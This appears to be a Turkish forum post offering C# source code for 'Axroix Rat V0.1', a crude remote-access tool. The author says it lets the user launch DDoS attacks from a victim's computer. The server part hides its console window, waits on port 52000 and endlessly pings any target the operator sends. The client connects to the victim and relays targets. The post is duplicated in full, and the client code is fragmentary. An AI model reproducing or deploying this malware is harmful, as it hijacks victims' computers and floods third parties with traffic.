Merhaba Dostlar
fazla laf yapmadan kodları vereyim
amacı kurbanın bilgisayarından istediğiniz kişiye ddos atarsınız 
Client :
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Socket;
Console.ForegroundColor = ConsoleColor.Green;
Console.Title = "Axroix Rat V0.1";
string hedef1 ;
Console.Write("Lütfen Hedefin IP adresini Giriniz :");
hedef1 =Console.ReadLine();
Console.Clear();
Console.WriteLine(hedef1 + " adresindeki bilgisayara bağlanılıyor...");
try
{
sockets.Connect(new IPEndPoint(IPAddress.Parse(hedef1), port));
Console.WriteLine("Başarıyla bağlanıldı!");
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n (X) -> Bağlanmaya çalışırken hata oluştu: " + ex.Message);
}
while (true && sockets.Connected)
{
Console.Write("Gönder: ");
string gonder = Console.ReadLine();
sockets.Send(Encoding.UTF8.GetBytes(gonder));
}
Console.WriteLine("Programı sonlandırmak için ENTER tuşuna basın...");
Console.Read();
Console.WriteLine("Hata Lütfen Yapımcıyla İletişim kurunuz...");
sockets.Close();
}
else {
Console.WriteLine("Lütfen Belirtilen İşlemleri Giriniz...");
}
}
=============================================================================
Server :
using System;
using System.IO;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Reflection.Metadata;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace ServerKopyala
{
class Program
{
static Socket sockets = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
const int port = 52000;
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main(string[] args)
{
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
TcpListener dinle = new TcpListener(IPAddress.Any, port);
dinle.Start();
Console.WriteLine("Bağlantı bekleniyor...");
sockets = dinle.AcceptSocket();
Console.WriteLine("Bağlantı sağlandı. ");
while (true)
{
try
{
Ping ping = new Ping();
byte[] gelenData = new byte[256];
sockets.Receive(gelenData);
string mesaj = (Encoding.UTF8.GetString(gelenData)).Split('\0')[0];
while (true)
{
ping.Send(mesaj, 80);
Console.WriteLine("Gönderildi"+mesaj);
}
}
catch
{
Console.WriteLine("Bağlantı kesildi. Çıkış yapılıyor.");
break;
}
}
}
}
}
fazla laf yapmadan kodları vereyim
Client :
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Socket;
Console.ForegroundColor = ConsoleColor.Green;
Console.Title = "Axroix Rat V0.1";
string hedef1 ;
Console.Write("Lütfen Hedefin IP adresini Giriniz :");
hedef1 =Console.ReadLine();
Console.Clear();
Console.WriteLine(hedef1 + " adresindeki bilgisayara bağlanılıyor...");
try
{
sockets.Connect(new IPEndPoint(IPAddress.Parse(hedef1), port));
Console.WriteLine("Başarıyla bağlanıldı!");
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n (X) -> Bağlanmaya çalışırken hata oluştu: " + ex.Message);
}
while (true && sockets.Connected)
{
Console.Write("Gönder: ");
string gonder = Console.ReadLine();
sockets.Send(Encoding.UTF8.GetBytes(gonder));
}
Console.WriteLine("Programı sonlandırmak için ENTER tuşuna basın...");
Console.Read();
Console.WriteLine("Hata Lütfen Yapımcıyla İletişim kurunuz...");
sockets.Close();
}
else {
Console.WriteLine("Lütfen Belirtilen İşlemleri Giriniz...");
}
}
=============================================================================
Server :
using System;
using System.IO;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Reflection.Metadata;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace ServerKopyala
{
class Program
{
static Socket sockets = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
const int port = 52000;
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main(string[] args)
{
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
TcpListener dinle = new TcpListener(IPAddress.Any, port);
dinle.Start();
Console.WriteLine("Bağlantı bekleniyor...");
sockets = dinle.AcceptSocket();
Console.WriteLine("Bağlantı sağlandı. ");
while (true)
{
try
{
Ping ping = new Ping();
byte[] gelenData = new byte[256];
sockets.Receive(gelenData);
string mesaj = (Encoding.UTF8.GetString(gelenData)).Split('\0')[0];
while (true)
{
ping.Send(mesaj, 80);
Console.WriteLine("Gönderildi"+mesaj);
}
}
catch
{
Console.WriteLine("Bağlantı kesildi. Çıkış yapılıyor.");
break;
}
}
}
}
}